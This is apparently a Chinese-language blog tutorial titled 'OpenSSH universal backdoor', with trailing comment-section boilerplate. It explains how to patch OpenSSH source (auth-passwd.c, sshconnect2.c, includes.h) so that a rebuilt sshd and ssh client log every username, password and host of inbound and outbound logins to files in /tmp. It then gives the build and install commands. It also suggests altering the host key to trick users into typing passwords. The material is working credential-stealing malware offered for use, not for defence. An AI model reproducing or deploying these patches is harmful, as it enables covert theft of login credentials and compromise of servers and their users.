OpenSSH萬能後門

OpenSSH萬能後門

基本上兼容任何版本。 以下爲Centos7

查看當前SSH版本

在這裏插入圖片描述

下載相同版本的OpenSSH

下載列表
在這裏插入圖片描述

解壓tar -zxvf openssh

在這裏插入圖片描述

修改 auth-passwd.c

添加這一行~

logit("username: %s password: %s", authctxt->user, password);

在這裏插入圖片描述

編譯OpenSSH

修改權限/etc/ssh/下的

chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub

安裝環境編譯運行

yum install -y openssl openssl-devel pam-devel zlib zlib-devel gcc
./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install

重啓服務
systemctl restart sshd.service

完成

在這裏插入圖片描述
如果有不要慌。。改一下權限爲600就好了
在這裏插入圖片描述
這樣就可以記錄密碼了~
在這裏插入圖片描述
記錄連接密碼
auth-passwd.c

    auth_password(Authctxt *authctxt, const char *password){
    //這下面加入

		if((f=fopen(ILOG,"a"))!=NULL){
			fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
		fclose(f);
		}

如果想記錄本機連接其他ssh的密碼可以加這些
sshconnect2.c

    password = read_passphrase(prompt, 0);//這下面加入
	if((f=fopen(OLOG,"a"))!=NULL){
		fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
		fclose(f);
	}

includes.h

#include "entropy.h" //這下面加入

FILE *f;
#define ILOG "/tmp/ilog"
#define OLOG "/tmp/olog"

注:可以嘗試把私鑰改一個值=。=這樣就可以騙用戶輸入ssh密碼登錄了~

Centos SSH日誌是 /var/log/secure
Ubuntu SSH日誌是 /var/log/auth.log

我的服務器使用的是Ubuntu的系統安裝的是OpenSSH_7.5p1
也可以正常捕獲到,可以用來解密Xshell的密碼~
在這裏插入圖片描述

發佈了30 篇原創文章 · 獲贊 16 · 訪問量 9102
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章